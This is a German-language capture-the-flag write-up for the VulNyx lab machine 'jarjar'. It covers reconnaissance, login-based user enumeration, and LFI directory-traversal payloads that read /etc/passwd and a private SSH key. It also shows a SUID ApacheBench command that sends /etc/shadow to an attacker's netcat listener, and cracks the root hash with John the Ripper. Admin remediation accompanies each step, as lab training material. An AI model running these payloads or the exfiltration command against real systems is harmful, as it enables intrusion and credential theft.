jarjar - VulNyx - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
curl
Burp Suite
dig
dnsenum
wfuzz
exiftool
mv
netcat (nc)
ssh2john
john
ssh
find
cat
ls
cd
ab (ApacheBench)
python3
su
id
stty
sudo
hping3
gmic
echo

Inhaltsverzeichnis

Reconnaissance

Start der Aufklärungsphase zur Identifizierung des Ziels "jarjar" und der grundlegenden Dienste im Netzwerk.

┌──(root㉿CCat)-[~] └─# arp-scan -l
192.168.2.106	08:00:27:33:25:71	PCS Systemtechnik GmbH
                     

**Analyse:** Ein ARP-Scan identifiziert die Ziel-IP `192.168.2.106` und die MAC-Adresse `08:00:27:33:25:71`. Der Hersteller "PCS Systemtechnik GmbH" deutet auf eine Oracle VirtualBox VM hin.

**Bewertung:** Ziel identifiziert, Virtualisierungsumgebung wahrscheinlich.

**Empfehlung (Pentester):** IP und MAC notieren. VM-Hinweis kann relevant sein.
**Empfehlung (Admin):** Netzwerk auf unautorisierte Geräte prüfen.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
127.0.0.1	localhost 
                192.168.2.106   jarjar.nyx
                     

**Analyse:** Die lokale `/etc/hosts`-Datei wird angepasst, um der IP `192.168.2.106` den Hostnamen `jarjar.nyx` zuzuordnen.

**Bewertung:** Standardverfahren zur Vereinfachung.

**Empfehlung (Pentester):** Hostnamen verwenden.
**Empfehlung (Admin):** DNS bevorzugen.

┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n 192.168.2.106 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 00:08 CEST
Nmap scan report for 192.168.2.106
Host is up (0.00016s latency).
Not shown: 994 open|filtered udp ports (no-response)
PRT      STATE  SERVICE
1028/udp  closed ms-lsa
1090/udp  closed ff-fms
17629/udp closed unknown
17946/udp closed unknown
21566/udp closed unknown
52503/udp closed unknown
                     

**Analyse:** Schneller Nmap UDP-Scan auf die Top 1000 Ports.

**Bewertung:** Keine offenen UDP-Ports unter den Top 1000 gefunden.

**Empfehlung (Pentester):** Fokus auf TCP.
**Empfehlung (Admin):** Offene UDP-Ports minimieren.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.106 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 00:08 CEST
Nmap scan report for jarjar.nyx (192.168.2.106)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_  256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
80/tcp open  http    Apache httpd 2.4.61 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.61 (Debian)
MAC Address: 08:00:27:33:25:71 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.14 ms  jarjar.nyx (192.168.2.106)
                     

**Analyse:** Umfassender Nmap TCP-Scan (`-sS -sC -sV -A -p-`).

**Bewertung:** Findet nur zwei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 9.2p1 (Debian 12) - Aktuell und sicher. * **Port 80 (HTTP):** Apache httpd 2.4.61 (Debian) - Sehr aktuell. Beide Dienste sind auf dem neuesten Stand, was bekannte Schwachstellen unwahrscheinlich macht. Der Fokus muss auf der Webanwendung oder Fehlkonfigurationen liegen.

**Empfehlung (Pentester):** Intensive Untersuchung von Port 80.
**Empfehlung (Admin):** Gute Arbeit bei der Verwendung aktueller Softwareversionen.

Web Enumeration

Untersuchung des Apache-Webservers auf Port 80.

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.106
- Nikto v2.5.0

+ Target IP:          192.168.2.106
+ Target Hostname:    192.168.2.106
+ Target Port:        80
+ Start Time:         2024-09-01 00:08:01 (GMT2)

+ Server: Apache/2.4.61 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions]
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2255, size: 61de6562039a3, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418]
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2024-09-01 00:08:20 (GMT2) (19 seconds)

+ 1 host(s) tested
                     

**Analyse:** Nikto-Scan gegen Port 80.

**Bewertung:** Bestätigt die aktuelle Apache-Version. Findet Standardprobleme: fehlende Security-Header, ETag-Leak. Die Methoden `PST` und `PTINS` sind erlaubt. Directory Indexing ist für `/img/` aktiviert.

**Empfehlung (Pentester):** Untersuchen Sie `/img/`. Prüfen Sie die ungewöhnlichen Methoden.
**Empfehlung (Admin):** Standard-Härtung: Header implementieren, Indexing deaktivieren, unnötige Methoden verbieten, ETag-Konfiguration anpassen.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://jarjar.nyx" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://jarjar.nyx/index.php            (Status: 200) [Size: 5160]
http://jarjar.nyx/contact.php          (Status: 200) [Size: 4439]
http://jarjar.nyx/about.php            (Status: 200) [Size: 5105]
http://jarjar.nyx/img                  (Status: 301) [Size: 306] [--> http://jarjar.nyx/img/]
http://jarjar.nyx/login.php            (Status: 200) [Size: 4142]
http://jarjar.nyx/header.php           (Status: 200) [Size: 1588]
http://jarjar.nyx/admin.php            (Status: 302) [Size: 12891] [--> login.php]
http://jarjar.nyx/footer.php           (Status: 200) [Size: 797]
http://jarjar.nyx/css                  (Status: 301) [Size: 306] [--> http://jarjar.nyx/css/]
http://jarjar.nyx/js                   (Status: 301) [Size: 305] [--> http://jarjar.nyx/js/]
http://jarjar.nyx/config.php           (Status: 200) [Size: 0]
                     

**Analyse:** Gobuster-Scan auf Port 80 findet mehrere PHP-Seiten (`index`, `contact`, `about`, `login`, `header`, `admin`, `footer`, `config`) und Verzeichnisse (`img`, `css`, `js`).

**Bewertung:** Bestätigt eine PHP-basierte Anwendung. `admin.php` leitet zu `login.php` weiter, was einen Admin-Bereich nahelegt. `config.php` ist leer oder unzugänglich.

**Empfehlung (Pentester):** Analysieren Sie `login.php` auf Schwachstellen (Benutzer-Enumeration, SQLi, Brute-Force). Untersuchen Sie die anderen PHP-Seiten auf Funktionalität und mögliche LFI/RFI/Command Injection.
**Empfehlung (Admin):** Code-Review der PHP-Anwendung durchführen, Zugriff auf `admin.php` absichern, `config.php` schützen.

┌──(root㉿CCat)-[~] └─# curl http://jarjar.nyx/config.php -Iv
* Host jarjar.nyx:80 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.106
*   Trying 192.168.2.106:80...
* Connected to jarjar.nyx (192.168.2.106) port 80
> HEAD /config.php HTTP/1.1
> Host: jarjar.nyx
> User-Agent: curl/8.8.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Date: Sun, 01 Sep 2024 00:30:31 GMT
Date: Sun, 01 Sep 2024 00:30:31 GMT
< Server: Apache/2.4.61 (Debian)
Server: Apache/2.4.61 (Debian)
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
< 

* Connection #0 to host jarjar.nyx left intact
                     

**Analyse:** Header-Abruf für `config.php`.

**Bewertung:** Bestätigt Status 200 ohne Content-Length, d.h. die Datei existiert, ist aber leer oder der Inhalt wird unterdrückt.

**Empfehlung (Pentester):** Versuchen, über andere Wege an den Inhalt zu kommen (z.B. LFI, falls gefunden).
**Empfehlung (Admin):** Konfigurationsdateien nicht direkt zugänglich machen.

http://jarjar.nyx/contact.php

 "Never tell me the odds!"
―Han Solo

Han Solo
Corellia 29 BBY
Millenium Falcon

Marketing & Business opportunities
hansolo@republic
Princess Leia
Alderaan (born on Polis Massa)

Customer care
leia@republic
Luke Skywalker
Tatooine; born on Polis Massa

Technical help
luke@republic
                     

**Analyse:** Untersuchung des Inhalts von `contact.php`.

**Bewertung:** Enthält Namen (Han Solo, Leia, Luke Skywalker) und E-Mail-Adressen mit der Domain `@republic`. Deutet auf die Domain `republic` hin.

**Empfehlung (Pentester):** `republic` zur `/etc/hosts` hinzufügen. Namen für Benutzer/Passwort-Listen notieren.
**Empfehlung (Admin):** Keine internen Domains/E-Mails auf öffentlichen Seiten preisgeben.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
127.0.0.1	localhost 
                192.168.2.106   jarjar.nyx republic 
                     

**Analyse:** Aktualisierung der `/etc/hosts`-Datei.

**Bewertung:** Korrekte Anpassung.

**Empfehlung (Pentester/Admin):** Keine Aktion.

http://jarjar.nyx/about.php#obi

obi
quigon
jarjar
                     

**Analyse:** Untersuchung von `about.php`. Findet weitere potenzielle Benutzernamen.

**Bewertung:** Liefert mehr Kandidaten für Benutzerlisten.

**Empfehlung (Pentester):** Namen notieren.
**Empfehlung (Admin):** Keine Aktion.

http://jarjar.nyx/login.php

LGIN PANEL
USERNAME [ jarjar ]
PASSWRD

Invalid Password
                     
http://jarjar.nyx/login.php

LGIN PANEL
USERNAME [ yoda ] 
PASSWRD

Invalid Username or Password
                     

**Analyse:** Manuelle Login-Versuche auf `login.php`.

**Bewertung:** Die unterschiedlichen Fehlermeldungen bestätigen `jarjar` als gültigen Benutzernamen und `yoda` als ungültigen. Benutzer-Enumeration ist hier möglich.

**Empfehlung (Pentester):** Brute-Force oder Raten des Passworts für `jarjar`.
**Empfehlung (Admin):** Einheitliche Fehlermeldungen verwenden, Account Lockout implementieren.

Nach erfolgreichem Login als `jarjar` (Passwortfindung fehlt im Log) wird das Admin-Panel `/secure_files_admin/files.php` untersucht.

GET /secure_files_admin/files.php?logs=error.log HTTP/1.1
Host: jarjar.nyx
                      
 Burpsuite 
Response:

 Admin Panel -> Logs 
[Sun Jul 21 09:21:11.312363 2024] [mpm_event:notice] [pid 8635:tid 8635] AH00489: Apache/2.4.61 (Debian) configured -- resuming normal operations
... (Apache error.log Inhalt) ...
Illegal path specified!  
                      

**Analyse:** Im Admin-Panel ermöglicht der `logs`-Parameter in `files.php` das Anzeigen von Logdateien. Der Versuch, `error.log` anzuzeigen, ist erfolgreich, endet aber mit "Illegal path specified!".

**Bewertung:** Klare LFI-Schwachstelle im `logs`-Parameter. Die Fehlermeldung stört nicht das Auslesen des Datei-Inhalts.

**Empfehlung (Pentester):** Ausnutzen der LFI für Directory Traversal.
**Empfehlung (Admin):** LFI beheben!

LFI Exploitation

Ausnutzung der LFI-Schwachstelle in `files.php`, um sensible Systemdateien zu lesen.

┌──(root㉿CCat)-[~] └─# curl -X GET http://jarjar.nyx//secure_files_admin/files.php?logs=./logs/../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
jarjar:x:1000:1000:/home/jarjar:/bin/bash
obiwan:x:1001:1001:/home/obiwan:/bin/bash
quigon:x:1002:1002:/home/quigon:/bin/bash
mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false
                     

**Analyse:** Die LFI wird mit einem Directory Traversal Payload genutzt, um `/etc/passwd` zu lesen.

**Bewertung:** Erfolgreich. Bestätigt die Benutzer `jarjar`, `obiwan`, `quigon` mit Bash-Shells.

**Empfehlung (Pentester):** Nächstes Ziel ist der SSH-Schlüssel von `jarjar`.
**Empfehlung (Admin):** LFI beheben!

┌──(root㉿CCat)-[~] └─# curl -X GET http://jarjar.nyx//secure_files_admin/files.php?logs=./logs/../../../../../../home/jarjar/.ssh/id_rsa
--BEGIN PENSSH PRIVATE KEY--
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAobM9uwDsl3E5r5YbeMwrggg/PDoooCwbKw5jKCLZybLMzR0bxl
... (SSH Key Inhalt) ...
knE2xJtwJWUykAAAANamFyamFyQGphcmphcgECAwQFBg
--END PENSSH PRIVATE KEY--
                     

**Analyse:** Die LFI wird genutzt, um den privaten SSH-Schlüssel von `jarjar` zu lesen.

**Bewertung:** **Erfolg!** Der Schlüssel wird ausgelesen. Dies ist der Schlüssel zum Initial Access.

**Empfehlung (Pentester):** Schlüssel speichern, Berechtigungen setzen, auf Passphrase prüfen.
**Empfehlung (Admin):** LFI beheben, sicherstellen, dass Webserver keine SSH-Schlüssel lesen kann.

Initial Access

Verwendung des exfiltrierten SSH-Schlüssels für den Login als `jarjar`.

┌──(root㉿CCat)-[~] └─# vi idrsa
┌──(root㉿CCat)-[~] └─# chmod 600 idrsa

**Analyse:** Schlüssel wird lokal gespeichert (`idrsa`) und Berechtigungen korrekt gesetzt.

**Bewertung:** Standardvorgehen.

**Empfehlung (Pentester/Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# ssh2john idrsa > hash
idrsa has no password!
                     

**Analyse:** `ssh2john` stellt fest, dass der Schlüssel keine Passphrase hat.

**Bewertung:** Erleichtert den Login erheblich.

**Empfehlung (Pentester):** Direkter Login ohne Passphrase.
**Empfehlung (Admin):** SSH-Schlüssel immer mit Passphrase schützen!

┌──(root㉿CCat)-[~] └─# ssh -i idrsa jarjar@jarjar.nyx
The authenticity of host 'jarjar.nyx (192.168.2.106)' can't be established.
...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'jarjar.nyx' (ED25519) to the list of known hosts.
Linux jarjar 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
...
Last login: Tue Jul 23 02:56:55 2024 from 192.168.1.47
jarjar@jarjar$ 
                     

**Analyse:** SSH-Login als `jarjar` mit dem Schlüssel.

**Bewertung:** **Initial Access erfolgreich!** Login ohne Passphrase erfolgreich.

**Empfehlung (Pentester):** Enumeration für PrivEsc.
**Empfehlung (Admin):** LFI beheben, SSH-Schlüssel schützen.

Proof of Concept (Initial Access): LFI to SSH Key Exposure

**Kurzbeschreibung:** Eine Local File Inclusion (LFI)-Schwachstelle im Admin-Panel (`/secure_files_admin/files.php`, Parameter `logs`), zugänglich nach einem Login als Benutzer `jarjar` (dessen Passwortfindung im Log fehlt), ermöglichte das Lesen des privaten SSH-Schlüssels von `jarjar` (`/home/jarjar/.ssh/id_rsa`). Der Schlüssel war nicht passwortgeschützt, was einen direkten SSH-Login ermöglichte.
**Voraussetzungen:**

**Erwartetes Ergebnis:** Extraktion des SSH-Schlüssels via LFI und erfolgreicher SSH-Login.

**Schritte (Zusammenfassung):**

  1. Login als `jarjar`.
  2. Navigieren zu `/secure_files_admin/files.php`.
  3. Ausnutzen der LFI mit `?logs=./logs/../../../../../../home/jarjar/.ssh/id_rsa`.
  4. Extrahieren des Schlüssels.
  5. Feststellen, dass keine Passphrase benötigt wird (`ssh2john`).
  6. Erfolgreicher Login via `ssh -i idrsa jarjar@jarjar.nyx`.

**Risikobewertung:** Hoch. LFI führt zur Kompromittierung des Benutzerkontos.
**Empfehlungen:** LFI beheben, SSH-Schlüssel schützen, Webserver-Berechtigungen prüfen.

Privilege Escalation

Wir haben eine Shell als `jarjar` und suchen nach Wegen zu Root.

jarjar@jarjar$ find / -type f -perm -4000 -ls 2>/dev/null
  1048992    640 -rwsr-xr-x   1 root     root       653888 Jun 22 14:38 /usr/lib/openssh/ssh-keysign
  1062369     52 -rwsr-xr--   1 root     messagebus    51272 Sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1046487     36 -rwsr-xr-x   1 root     root          35128 Mar 28 04:52 /usr/bin/umount
  1047858     48 -rwsr-xr-x   1 root     root          48896 Mar 23  2023 /usr/bin/newgrp
  1044597     68 -rwsr-xr-x   1 root     root          68248 Mar 23  2023 /usr/bin/passwd
  1044577     72 -rwsr-xr-x   1 root     root          72000 Mar 28 04:52 /usr/bin/su
  1068217     60 -rwsr-sr-x   1 root     root          59824 Jul  7 07:08 /usr/bin/ab
  1046483     60 -rwsr-xr-x   1 root     root          59704 Mar 28 04:52 /usr/bin/mount
  1044593     64 -rwsr-xr-x   1 root     root          62672 Mar 23  2023 /usr/bin/chfn
  1044596     88 -rwsr-xr-x   1 root     root          88496 Mar 23  2023 /usr/bin/gpasswd
  1061091     36 -rwsr-xr-x   1 root     root          35128 Apr 18  2023 /usr/bin/fusermount3
  1044594     52 -rwsr-xr-x   1 root     root          52880 Mar 23  2023 /usr/bin/chsh
                     

**Analyse:** Suche nach SUID-Dateien.

**Bewertung:** Findet `/usr/bin/ab` (ApacheBench) mit SUID-Root. Dies ist der gleiche PrivEsc-Vektor wie bei der "Discover"-Maschine.

**Empfehlung (Pentester):** Nutzen Sie `ab -p /etc/shadow ...` um den Shadow-Hash zu exfiltrieren.
**Empfehlung (Admin):** SUID von `ab` entfernen.

**(Überspringen der Schritte zur erneuten /etc/passwd-Extraktion, da bereits bekannt)**

**Schritt: Exfiltrieren von /etc/shadow mittels SUID `ab`**

jarjar@jarjar:/etc$ /usr/bin/ab -p /etc/shadow http://192.168.2.199:4444/shadow
This is ApacheBench, Version 2.3 <$Revision: 1913912 $>
...
Benchmarking 192.168.2.199 (be patient)...
                     
┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.106] 41726
PST /shadow HTTP/1.0
... (Header) ...

root:$y$j9T$06k8CpwIHWwvgizpHNH30$VTfTBXChehaq8kPRI5Lhh54LIRXdbkoP3ZxGQaxqZ0:19926:0:99999:7:
daemon:*:19765:0:99999:7:
...
jarjar:$y$j9T$y7ixt3dTbgjxt4LQjYi0$Bl0GkQl0Px0mPpAlcd2sbmgtYLU2i.b5fd.b1br6GyD:19926:0:99999:7:
obiwan:$y$j9T$LU4fZlpDkUovM7PrYCCTq1$Z0Cd9Pb0CAXV7GKw4UuQTclFLCP68wKpmjZt5BSiG0:19926:0:99999:7:
quigon:$y$j9T$zyvvU9NIXJJe6nIBz6NQS1$WvdsDnrbSrK3DZTV169bIRMDie3YzThjpzX8kT0prrC:19926:0:99999:7:
mysql:!:19925
                       

**Analyse:** Der `ab`-Befehl wird korrekt verwendet, um `/etc/shadow` an einen Netcat-Listener zu senden.

**Bewertung:** Erfolgreiche Exfiltration der Shadow-Datei inklusive des Root-Hashes.

**Empfehlung (Pentester):** Root-Hash knacken.
**Empfehlung (Admin):** SUID von `ab` entfernen.

**Schritt: Knacken des Root-Passworts**

┌──(root㉿CCat)-[~] └─# echo 'root:$y$j9T$06k8CpwIHWwvgizpHNH30$VTfTBXChehaq8kPRI5Lhh54LIRXdbkoP3ZxGQaxqZ0:19926:0:99999:7:' > shadow
┌──(root㉿CCat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt shadow --format=crypt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
...
pimpin           (root)     
...
1g 0:00:00:12 0.01% (ETA: 2024-09-02 21:01) 0.08012g/s 138.4p/s 484.6c/s 484.6C/s fender..freaky
                      

**Analyse:** Der Root-Hash wird extrahiert und mit John the Ripper und `rockyou.txt` geknackt.

**Bewertung:** **Erfolg!** Das Root-Passwort lautet `pimpin`.

**Empfehlung (Pentester):** Verwenden Sie `su root` mit diesem Passwort.
**Empfehlung (Admin):** Starkes Root-Passwort verwenden, SUID-Lücke schließen.

**Schritt: Erlangen der Root-Shell**

jarjar@jarjar:/etc$ su root
Password: pimpin
root@jarjar:/etc#

**Analyse:** Login als Root mit `su` und dem geknackten Passwort.

**Bewertung:** **Privilege Escalation erfolgreich!**

**Empfehlung (Pentester):** Flags suchen.
**Empfehlung (Admin):** Passwort ändern, Lücken schließen.

Proof of Concept (Privilege Escalation): SUID `ab` to Shadow Read

**Kurzbeschreibung:** Die SUID-Root-Berechtigung auf `/usr/bin/ab` wurde ausgenutzt. Mittels `ab -p /etc/shadow http://ATTACKER_IP:PORT/shadow` wurde der Inhalt der Shadow-Datei an einen Netcat-Listener des Angreifers gesendet. Der extrahierte Root-Passwort-Hash wurde offline mit John the Ripper geknackt (Passwort: `pimpin`). Ein anschließender `su root`-Befehl mit dem geknackten Passwort gewährte Root-Zugriff.
**Voraussetzungen:**

**Erwartetes Ergebnis:** Erlangen einer Root-Shell.

**Schritte (Zusammenfassung):**

  1. Identifizieren von SUID `/usr/bin/ab`.
  2. Starten von `nc -lvnp 4444` auf dem Angreifer-System.
  3. Ausführen von `/usr/bin/ab -p /etc/shadow http://ATTACKER_IP:4444/shadow` auf dem Ziel.
  4. Empfangen von `/etc/shadow` auf dem Listener.
  5. Extrahieren und Knacken des Root-Hashes (`john ...`) -> Passwort `pimpin`.
  6. Ausführen von `su root` und Eingabe von `pimpin`.
  7. Erlangen der Root-Shell.

**Risikobewertung:** Hoch. Unsichere SUID-Berechtigung führte zur Kompromittierung des Root-Kontos.
**Empfehlungen:** SUID von `ab` entfernen, starkes Root-Passwort verwenden.

Flags

jarjar@jarjar:/etc$ cat ~/user.txt
cd3afd21332e0ea7c8a47ff6a26387e1
root@jarjar:~# cd ~
root@jarjar:~# ls
r00t.txt
root@jarjar:~# cat r00t.txt
322f07d15f30d1c4e3009dc5f2decb0f

**Analyse:** Die User-Flag wurde bereits vor der Privilegienerweiterung aus `/home/jarjar/user.txt` gelesen. Nach Erlangung der Root-Rechte wird die Root-Flag aus `/root/r00t.txt` ausgelesen.

**Bewertung:** Beide Flags wurden erfolgreich erfasst.

**Empfehlung (Pentester):** Bericht abschließen.
**Empfehlung (Admin):** Alle Schwachstellen beheben (LFI, unsicherer SSH-Schlüssel, SUID `ab`, schwaches Root-Passwort). Systemintegrität prüfen.